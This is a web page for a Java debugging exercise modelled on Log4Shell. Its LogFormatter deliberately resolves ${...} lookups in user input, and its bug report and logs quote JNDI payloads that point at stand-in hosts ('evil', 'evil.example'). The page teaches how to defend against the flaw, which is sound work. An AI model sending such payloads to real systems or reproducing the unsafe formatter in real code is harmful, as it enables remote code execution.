The Log That Looked Things Up

Hard

· Backend

Incident

SEV-2

BUG-44228

Priority: 10.0/10.0 · reported by the entire industry

Time to fix: 35 min

How to work this incident

  1. Read the report: write down the expected behaviour and the actual one in a sentence each.
  2. Reproduce it: run the visible tests and find the failing check that matches the report.
  3. Read the logs and the failing checks for the first value that is wrong — the earliest wrong value is nearer the cause than the loudest error.
  4. Follow the request through the handler, the validation and the service it calls; find the first step whose output disagrees with the report.
  5. Fix the cause rather than the symptom, run the visible tests again, and submit against the hidden ones — then write the root cause down.

Inspired by

Log4Shell · 2021

Inspired by Log4Shell (2021), the vulnerability that ruined a global December: log a user-controlled string containing ${jndi:…} and the logging framework resolves it — downloading and executing attacker code.

The resolver is locked (that's the framework). LogFormatter.java must make sure user input never reaches it.

Code map

class LogFormatter {
    static String format(String userMessage) {
        int start = userMessage.indexOf("${");
        if (start != -1) {
            int end = userMessage.indexOf("}", start);
            if (end != -1) {
                String expr = userMessage.substring(start + 2, end);
                String resolved = Resolver.resolve(expr);
                return userMessage.substring(0, start) + resolved + userMessage.substring(end + 1);
            }
        }
        return userMessage;
    }
}

Sign in to edit the file, run the tests and submit a fix

A free account — no card, no trial clock. You come straight back here.

The Log That Looked Things Up — Java Bug Hunt

Inspired by Log4Shell (2021), the vulnerability that ruined a global December: log a user-controlled string containing ${jndi:…} and the logging framework…

  • Language: Java
  • Layer: Backend
  • Difficulty: Hard
  • Concepts: Injection, Logging
  • Modelled on: Log4Shell · 2021
  • Visible tests: lookup syntax is neutralised, never resolved; plain messages pass through untouched
  • Reward: 50 XP for a complete fix

Incident

  • Severity: SEV-2 (priority: 10.0/10.0)
  • Ticket: BUG-44228
  • Reported by: the entire industry
  • Time to fix: 35 minutes, the target for a hard incident

How to work this incident

  1. Read the report: write down the expected behaviour and the actual one in a sentence each.
  2. Reproduce it: run the visible tests and find the failing check that matches the report.
  3. Read the logs and the failing checks for the first value that is wrong — the earliest wrong value is nearer the cause than the loudest error.
  4. Follow the request through the handler, the validation and the service it calls; find the first step whose output disagrees with the report.
  5. Fix the cause rather than the symptom, run the visible tests again, and submit against the hidden ones — then write the root cause down.

Briefing

Inspired by Log4Shell (2021), the vulnerability that ruined a global December: log a user-controlled string containing ${jndi:…} and the logging framework resolves it — downloading and executing attacker code.

The resolver is locked (that's the framework). LogFormatter.java must make sure user input never reaches it.

Bug report

BUG-44228 · Priority: 10.0/10.0 · Reported by: the entire industry

format(userMessage):

  • user input is DATA. Never resolve lookups found inside it.
  • neutralise every "${" as "{" so downstream systems can't resolve it either
  • the output must never contain the resolver's output

Observed: a chat message of ${jndi:ldap://evil/x} triggers a lookup.

Logs

[chat] user nickname: ${jndi:ldap://evil.example/a}
[log4j] resolving jndi lookup...

The code as shipped

LogFormatter.java (editable)

class LogFormatter {
    static String format(String userMessage) {
        int start = userMessage.indexOf("${");
        if (start != -1) {
            int end = userMessage.indexOf("}", start);
            if (end != -1) {
                String expr = userMessage.substring(start + 2, end);
                String resolved = Resolver.resolve(expr);
                return userMessage.substring(0, start) + resolved + userMessage.substring(end + 1);
            }
        }
        return userMessage;
    }
}

Read-only context: Resolver.java.

Open the hunt to start the incident clock, edit the files, run the visible tests and submit against the hidden ones, then write the root cause down. More Java bug hunts.